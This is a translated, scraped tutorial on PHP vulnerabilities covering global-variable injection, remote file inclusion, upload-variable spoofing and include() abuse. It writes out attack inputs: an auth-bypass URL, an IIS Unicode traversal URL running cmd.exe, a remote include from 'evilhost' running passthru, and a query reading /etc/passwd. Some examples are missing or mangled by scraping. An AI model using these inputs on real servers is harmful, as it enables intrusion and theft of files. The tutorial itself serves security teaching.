How to attack common vulnerabilities in PHP programs (Part 1) Page 1/2_PHP Tutorial

The reason why I translated this article is that the current articles about CGI security all use Perl as an example, but there are very few articles specifically introducing the security of ASP, PHP or JSP. This article by Shaun Clowes provides a more comprehensive introduction to PHP security issues. The original article can be found at http://www.securereality.com.au/studyinscarlet.txt.

Because the original text is relatively long, and a considerable part of it introduces the background of the article or the basic knowledge of PHP, and does not involve PHP security, so I did not translate it. If you want to know more about this, please refer to the original article.

The article mainly analyzes the security of PHP from the aspects of global variables, remote files, file uploads, library files, Session files, data types and error-prone functions, and also discusses how to enhance the security of PHP. Some useful suggestions were made.

Okay, enough nonsense, let’s get down to business!

[Global variables]
Variables in PHP do not need to be declared in advance. They will be automatically created the first time they are used. Their types do not need to be specified. They will be automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient method. Obviously, this is also a very useful feature of rapid development languages. Once a variable is created, it can be used anywhere in the program. A consequence of this feature is that programmers rarely initialize variables; after all, when they are first created, they are empty.

Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client. end browser. In order to make it as easy as possible for PHP code to access user input, PHP actually treats this input data as global variables.

For example:

Obviously, this will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create any global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.

Translator’s Note: These two methods are what we usually call the “POST” and “GET” methods.
The following user authentication code exposes security issues caused by PHP's global variables:

if ($pass == "hello")
$auth = 1 ;
...
if ($auth == 1)
echo "some important information";
?>

The above code first checks whether the user's password is "hello", if matched, set "$auth" to "1", that is, the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.

On the surface it looks correct, and quite a few of us do it, but this code makes the mistake of assuming that "$auth" is empty when no value is set. , but did not expect that the attacker can create any global variable and assign a value. Through a method like "http://server/test.php?auth=1", we can completely deceive this code and make it believe that we have Certified.

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.

A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured with the "track_vars" option turned on (which is the default), user-submitted variables are available in global variables and the array mentioned above.

But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode, the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by the newer PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.

[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a certain function.But from a security perspective, the more functions you have, the harder it is to ensure its security. Remote files are a good example of this problem:

if ( !($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
");
?>

Above The script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is another problem with this script. The most obvious feature is that it can read files from any other WEB or FTP site. In fact, most of PHP's file processing functions are transparent to remote files.

For example:
If "$filename" is specified as "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
The above code actually uses the host Unicode vulnerability on the target, executing the dir command.

This makes the include(), require(), include_once() and require_once() functions that support remote files more interesting in the context. The function is to include the contents of specified files and interpret them according to PHP code. It is mainly used for library files. For example:
include($libdir . "/languages. .php");
?>

In the above example, "$libdir" is usually a path that has been set before executing the code. If the attacker can prevent "$libdir" from being set, , then he can change this path. But the attacker can't do anything because they can only access the file languages.php in the path they specify (the "Poison null byte" attack in perl has no effect on PHP). With support for remote files, an attacker can do anything. For example, an attacker can place a file languages.php on a server with the following content:

passthru("/bin/ls /etc");
?>

Then set "$libdir" to "http:///" so that we can The above attack code is executed on the target host, and the contents of the "/etc" directory are returned to the customer's browser as a result.

It should be noted that the attacking server (i.e. evilhost) should not be able to execute PHP code, otherwise the attacking code will be executed on the attacking server instead of the target server. If you want to know the specific technical details, please refer to: http://www.securereality.com.au/sradv00006.txt

[File upload]
PHP automatically supports file upload based on RFC 1867, let’s look at the following example:

The above code allows the user to select a file from the local machine, When you click Submit, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds makes it unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it will first accept the file from the remote user and check whether the length of the file exceeds the value defined by the "$MAX_FILE_SIZE variable". If it passes these For testing, the file will be stored in a local temporary directory.

Therefore, an attacker can send arbitrary files to the host running PHP. Before the PHP program decides whether to accept the file upload, the file has already been stored on the server.

Here I will not discuss the possibility of using file uploads to carry out DOS attacks on the server.

Let's consider a PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually /tmp), and the extension is usually Random, similar to "phpxXuoXG" form. The PHP program needs to upload the file's information in order to process it, and this can be done in two ways, one that was already used in PHP 3, and the other that was introduced after we made a security advisory on the previous method.

However, we can say with certainty that the problem still exists, and most PHP programs still use the old way to handle uploaded files.PHP sets four global variables to describe uploaded files, such as the above example:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c: emphello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

Then the PHP program starts processing the file specified according to "$hello". The problem is that "$hello" is not necessarily a variable set by PHP, and any remote user can specify it. If we use the following method:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

results in the following PHP global variables (of course POST method is also possible (even Cookie)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

The above form data just meets the variables expected by the PHP program, but at this time the PHP program no longer processes the uploaded file, but processes "/etc/passwd ” (often resulting in content exposure). This attack can be used to expose the contents of any sensitive file.

As I said before, the new version of PHP uses HTTP_POST_FILES[] to decide to upload files. It also provides many functions to solve this problem. For example, there is a function to determine whether a certain file is actually Uploaded files. These functions solve this problem very well, but in fact there must be many PHP programs that still use the old method and are vulnerable to this attack.

As a variant of the file upload attack method, let’s take a look at the following piece of code:

if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

If the attacker can control "$theme", it is obvious that it can be exploited "$theme" to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading does this for us. If the attacker first creates a file containing PHP code on the local machine, and then creates a form containing a file field named "theme" , and finally use this form to submit the created file containing PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$theme" to the file submitted by the attacker. In this way, the file_exists() function will pass the check and the attacker's code will be executed.

After gaining the ability to execute arbitrary instructions, the attacker obviously wants to escalate privileges or expand the results, and this requires some tool sets that are not available on the server, and file uploading once again helped us. An attacker can use the file upload function to upload tools, store them on the server, and then use their ability to execute commands, use chmod() to change the permissions of the file, and then execute it. For example, an attacker can bypass the firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.

http://www.bkjia.com/PHPjc/317393.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/317393.htmlTechArticleThe reason why this article is translated is because the current articles on CGI security use Perl as an example, and There are very few articles specifically introducing the security of ASP, PHP or JSP. This article by ShaunClowes...